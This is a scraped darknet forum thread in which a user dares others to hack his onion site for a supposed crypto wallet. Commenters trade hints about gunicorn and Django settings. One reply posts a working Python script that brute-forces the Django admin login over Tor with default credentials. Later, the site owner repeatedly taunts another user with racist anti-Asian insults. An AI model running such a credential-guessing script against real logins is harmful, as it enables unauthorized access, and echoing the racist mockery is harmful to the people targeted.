News Feed
  • DrugHub has agreed to fully refund all users who lost money in the SuperMarket exit scam.  
  • Retro Market has gone offline. Circumstances of the closure unknown.  
  • SuperMarket has closed following an exit scam by one of the admins.  
  • The admin of Incognito Market, Pharoah, has been arrested by the FBI several months after exit scamming.  
  • Silk RoadTorhoo mini logo
  • darknet markets list
  • Popular P2P exchange LocalMonero has announced it is closing.  

Come Hack my onion site. : hacking | Torhoo darknet markets

Hello Mates. In my onion site I have a crypto wallet, if you can hack it it's yours. I made a bet with my wife, if it gets hacked in under 30mns I buy her dinner in a fancy restaurant, otherwise she buys my dinner.

http://vanitydadboumuk5rzr4rwmrerikgmmkplytdcz4shscqg6rwlwgtcqd.onion/

Happy Hacking to all.

Clues by Real Hackers (Spoilers!!!)
1st Clue by https://torhoo.cc/go.php?u=TDNVdlVHRnlhWE09#
- Running HTML on gunicorn
2nd Clue by https://torhoo.cc/go.php?u=TDNVdmNtOXZkQT09#
- Running DEBUG = False
3rd Clue by https://torhoo.cc/go.php?u=TDNVdlkybHdhR1Z5YzNSeVpXRnQ=#
- Great code for recon

Wannabees (So far)
"/u/Security101" with a capital P
/u/Dread_8 📢
2 points
1 month ago
Obviously you are right, but you think I'm going to tell her that and miss out on a free dinner at an expensive restaurant?

As for the "take it it's yours" is my way of legally exonerating anyone that hacks my site.

Happy hacking my friends.
Alright, here’s my serious effort to break in — or at least make your wife pay with her own wallet 😎


If there was a flag, pretty sure it’s in her handbag next to the receipt 😅


import requests
from bs4 import BeautifulSoup

login_url = "http://vanitydadboumuk5rzr4rwmrerikgmmkplytdcz4shscqg6rwlwgtcqd.onion/admin/login/?next=/admin/"

session = requests.Session()
session.proxies = {
    'http': 'socks5h://127.0.0.1:9050',
    'https': 'socks5h://127.0.0.1:9050',
}
session.headers.update({
    'User-Agent': 'Mozilla/5.0',
})

def try_login(username, password):
    resp = session.get(login_url)
    soup = BeautifulSoup(resp.text, "html.parser")
    csrf_token = soup.find("input", {"name": "csrfmiddlewaretoken"})["value"]
    cookie_token = session.cookies.get("csrftoken")

    payload = {
        "csrfmiddlewaretoken": csrf_token,
        "username": username,
        "password": password,
        "next": "/admin/",
    }

    headers = {
        "Referer": login_url,
        "Cookie": f"csrftoken={cookie_token}",
    }

    r = session.post(login_url, data=payload, headers=headers, allow_redirects=True)
    print(f"Trying {username}:{password} => {r.status_code}")
    return "Error:" not in r.text

for user in ["admin", "root", "test"]:
    for pwd in ["admin", "password", "123456", "test", "toor"]:
        if try_login(user, pwd):
            print(f"[+] Success: {user}:{pwd}")
            exit()
/u/Dread_8 📢
2 points
1 month ago
Wow, that's beautiful. Thanks for helping The Wife pay with her own wallet, lol. Is that you dropping all the zip bombs on my server? Someone has been dropping them for like the past 3 hrs. ha ha ha
Nah, not into pointless noise.
Just wanted to show a clean and functional login brute sample for those still learning how sessions, CSRF tokens, and Tor proxies play together.

No zip bombs, no scans, no stress.
Just vibes and some well-formatted code ✌️


see full script above
it's about learning, not flooding.


Happy hacking — the respectful kind 🧠💻
/u/Dread_8 📢
1 points
1 month ago
Bother I love your script, going to see if I can use it to strengthen my site even more based on it. Thanks.

By the way, The Wife concedes to buying dinner, with my CC of course. ha ha ha
I hope you've been doing well, my friend!
/u/Dread_8 📢
1 points
1 month ago
So far so good. How about yourself?
Been noticing some activity on my server, hopefully someone hacks it soon so I can move on to the next stage on my project.
/u/drisdane Moderator
1 points
1 month ago
First time I see Dread missing spoiler tags :p
/u/Dread_8 📢
1 points
1 month ago
"Ooops!!!" ha ha ha
Let me add that right now.
/u/mordax
1 points
1 month ago
30 mins? you're delusional. as you can see my reply is only one that you even get in under 30 mins. tell her to stop watching some autistic movies where they have no idea what hacking even is or what it means.
also if someone hacks it, obviously its theirs, they don't need your permission to take what they hack.
/u/Fyodor-MD
1 points
1 month ago
she can buy you dinner, using your card
/u/Dread_8 📢
1 points
1 month ago
You might say it joking around but that's exactly how she's going to pay for it, ha ha ha
/u/Fyodor-MD
1 points
1 month ago
ha ha xD send her my blessings bro
/u/Dread_8 📢
1 points
1 month ago
Will do Brother.
/u/hey_paris
1 points
1 month ago
There is no wallet nice bluff
/u/Dread_8 📢
1 points
1 month ago
Wanna bet? Let's put $500 in Bitcoins on escrow.
You want us to hack a gunicorn server that just serves a simple html and doesn't process post requests for an unknown wallet amount? It isn't even capture the flag file.

I'll say it right here. She will buy your dinner. Only for you to find out she did it on your wallet. Completely fair too. She never said she was going to buy it with her own money.

Tell her next time we go out we will have you buy it too. Just a business expense for that dad vanity address.
/u/Dread_8 📢
1 points
1 month ago*
[removed]
/u/Dread_8 📢
1 points
1 month ago
You just gave the world the first clue, as I am in fact using gunicorn. Kudos my friend! Let's see what other things others will find out about it.
Well it processes something but you need a CSRF token or DEBUG=True
/u/Dread_8 📢
1 points
1 month ago
Nice catch Brother, as I am in fact running DEBUG = False.
/u/jackroberts
1 points
1 month ago
How did you figure out it's a gunicorn server?
/u/Dread_8 📢
1 points
1 month ago
Are you familiar with pen testing techniques? Do you have Kali linux installed? Sorry for taking so long to reply.
/u/jackroberts
1 points
1 month ago
No, I'm not a pentester and I don't have kali linux right now. but does it really require Kali Linux to figure out it's a python gunicorn web server? I don't think so.
/u/Dread_8 📢
1 points
1 month ago
"You're right"
/u/jackroberts
1 points
1 month ago
So how did /u/paris figure out it's a python gunicorn server? and not nginx for example.
/u/Dread_8 📢
1 points
2 weeks ago
Right click on my site, click 'Inspect' and you'll find it.
/u/jackroberts
1 points
2 weeks ago
That's the first thing I did back then. but did not find anything of interest in HTML source code.
/u/bithoven112365
1 points
1 month ago
C°mon man | warmin up Burp with some fried edits takes longer than 30 mins °° jus smile again to yr 💳 it is what it is
/u/Dread_8 📢
1 points
1 month ago
Ha ha ha, we both know you're right. But it makes the wife happy to make these bets in which she wins even if she loses.

Happy hacking my friend.
/u/Security101 P
1 points
1 month ago
Not gonna waste time on something which is not worth time.
/u/Dread_8 📢
1 points
1 month ago*
"Real Hackers do it cuz they can, wannabees make excuses as to why they can't."
/u/Security101 P
1 points
1 month ago
Go get real hacker, you wanna be waste of sperm!
/u/Dread_8 📢
1 points
1 month ago*
"Go get real hacker"
Ha ha ha
Sounds like an Asian to me. Be honest, "Am I wrong Wong?"
HA HA HA!!!!!
I took a screen shot and I'll post it if you try to correct your grammar.
HA HA HA HA HA HA HA HA !!!!!!
/u/Dread_8 📢
1 points
1 month ago*
OMG YOU ARE ASIAN!!!
"Not gonna waste time on something which is not worth time."
Can't believe I didn't catch that!
In my head your voice now sounds like Tuong Lu Kim from City Wok.
HA HA HA HA HA HA HA!!!!!!!
/u/Security101 P
1 points
1 month ago
Wasted sperm ! xD
/u/Dread_8 📢
1 points
1 month ago
You did not deny being Asian.
Ha ha ha
Hey you took too long to reply Tuong Lu Kim, did you go to bed or did you go to the sweat shop?
Trying to narrow down where you're from.
/u/Security101 P
1 points
1 month ago
Not gonna waste time on something which is not worth time.
/u/drisdane Moderator
1 points
1 month ago
srsly man, automod is schizo... so sorry.
/u/Dread_8 📢
1 points
1 month ago*
And yet you waste time making excuses on why you can't. "Real Hackers hack cuz they can, wannabees make excuses as to why they can't".
/u/hacker P
1 points
1 month ago
Enjoy your dinner !!
/u/Dread_8 📢
1 points
1 month ago
I will brother. Thinking about surprising The Wife by blocking the CC. See if I can post a pic of her reaction. ha ha ha